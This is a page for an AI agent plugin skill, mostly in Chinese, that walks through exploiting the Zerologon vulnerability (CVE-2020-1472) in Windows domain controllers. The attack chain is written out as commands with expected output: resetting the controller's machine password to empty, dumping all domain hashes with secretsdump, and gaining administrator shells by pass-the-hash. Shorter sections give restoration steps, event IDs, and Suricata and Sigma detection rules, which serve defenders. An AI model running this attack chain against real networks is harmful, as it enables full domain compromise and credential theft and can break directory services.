Exploits Zerologon (CVE-2020-1472) in Netlogon to reset domain controller machine account password, dump hashes via DCSync with Impacket, and gain admin access. For red teaming unpatched Active Directory.
npx claudepluginhub killvxk/cybersecurity-skills-zhThis skill uses the workspace's default tool permissions.
Zerologon(CVE-2020-1472)是微软 Netlogon 远程协议(MS-NRPC)中的一个严重权限提升漏洞(CVSS 10.0)。该缺陷存在于 AES-CFB8 模式的密码学实现中,初始化向量(IV)被错误地设置为全零。这允许对域控制器拥有网络访问权限的未经认证的攻击者建立 Netlogon 会话,并将 DC 机器账户密码重置为空,从而实现完整的域入侵。微软于 2020 年 8 月修补了此漏洞(KB4571694)。
Exploits Zerologon (CVE-2020-1472) vulnerability in Netlogon Remote Protocol to reset domain controller machine account passwords, achieving domain compromise during authorized red teaming or pentesting.
Exploits Zerologon (CVE-2020-1472) in Netlogon to reset domain controller machine account password for compromise. For authorized red teaming and pentesting unpatched Windows DCs.
Exploits noPac chain (CVE-2021-42278/42287) in Active Directory to escalate domain user to admin via tools like noPac.py, CrackMapExec, and Impacket. Useful for red-teaming AD pentests.
Share bugs, ideas, or general feedback.
Zerologon(CVE-2020-1472)是微软 Netlogon 远程协议(MS-NRPC)中的一个严重权限提升漏洞(CVSS 10.0)。该缺陷存在于 AES-CFB8 模式的密码学实现中,初始化向量(IV)被错误地设置为全零。这允许对域控制器拥有网络访问权限的未经认证的攻击者建立 Netlogon 会话,并将 DC 机器账户密码重置为空,从而实现完整的域入侵。微软于 2020 年 8 月修补了此漏洞(KB4571694)。
| 技术 ID | 名称 | 战术 |
|---|---|---|
| T1068 | 利用漏洞进行权限提升 | 权限提升 |
| T1210 | 利用远程服务 | 横向移动 |
| T1003.006 | 操作系统凭据转储:DCSync | 凭据访问 |
| T1078.002 | 有效账户:域账户 | 持久化 |
Netlogon 认证协议使用带有客户端质询和服务器质询的 AES-CFB8 加密。漏洞存在是因为:
# 扫描域控制器
nmap -p 135,139,389,445 -sV --script=ms-sql-info,smb-os-discovery 10.10.10.0/24
# 使用 Zerologon 检查器检查 DC 是否易受攻击
python3 zerologon_tester.py DC01 10.10.10.1
# 使用 CrackMapExec
crackmapexec smb 10.10.10.1 -M zerologon
# 使用 Impacket 的 CVE-2020-1472 漏洞利用工具
# 这会将 DC 机器账户密码设置为空
python3 cve_2020_1472.py DC01$ 10.10.10.1
# 预期输出:
# Performing authentication attempts...
# =========================================
# NetrServerAuthenticate2 Result: 0(约 256 次尝试后成功)
# NetrServerPasswordSet2 call was successful
# DC01$ machine account password set to empty string
# 使用空哈希执行 DCSync
secretsdump.py -no-pass -just-dc corp.local/DC01\$@10.10.10.1
# 输出包含所有域哈希:
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f3bc61e97fb14d18c42bcbf6c3a9055f:::
# svc_sql:1103:aad3b435b51404eeaad3b435b51404ee:e4cba78b4c01d6e5c0e31ffff18e46ab:::
# 或转储特定账户
secretsdump.py -no-pass corp.local/DC01\$@10.10.10.1 \
-just-dc-user Administrator
# 使用 Administrator NTLM 进行哈希传递
psexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \
corp.local/Administrator@10.10.10.1
# 或使用 wmiexec 进行更隐蔽的访问
wmiexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \
corp.local/Administrator@10.10.10.1
警告:利用 Zerologon 后,DC 机器账户密码为空,这将破坏活动目录复制和服务。必须恢复密码。
# 方法一:使用漏洞利用工具的恢复功能
python3 restorepassword.py corp.local/DC01@DC01 -target-ip 10.10.10.1 \
-hexpass <original_hex_password>
# 方法二:从 DC 强制修改机器账户密码
# 以 Administrator 身份连接到 DC 并运行:
netdom resetpwd /server:DC01 /userd:CORP\Administrator /passwordd:*
# 方法三:重启 DC(它会自动重新生成机器密码)
# 这是最安全的方法,但会导致停机
事件 ID 4742: 计算机账户已更改
- 注意: DC$ 账户的密码更改
- 异常: 短时间内 DC$ 的多次 4742 事件
事件 ID 5805: Netlogon 认证失败
- 多次失败后成功 = Zerologon 尝试
事件 ID 4624(类型 3): 网络登录
- DC$ 账户从意外 IP 登录
# 针对 Zerologon 的 Suricata 规则
alert dcerpc any any -> any any (
msg:"ET EXPLOIT Possible Zerologon NetrServerReqChallenge";
flow:established,to_server;
dce_opnum:4;
content:"|00 00 00 00 00 00 00 00|";
sid:2030870;
rev:1;
)
title: Zerologon 利用尝试
status: stable
logsource:
product: windows
service: system
detection:
selection:
EventID: 5805
LogonType: 3
timeframe: 5m
condition: selection | count(EventID) > 100
level: critical
tags:
- attack.privilege_escalation
- attack.t1068
- cve.2020.1472
FullSecureChannelProtection = 1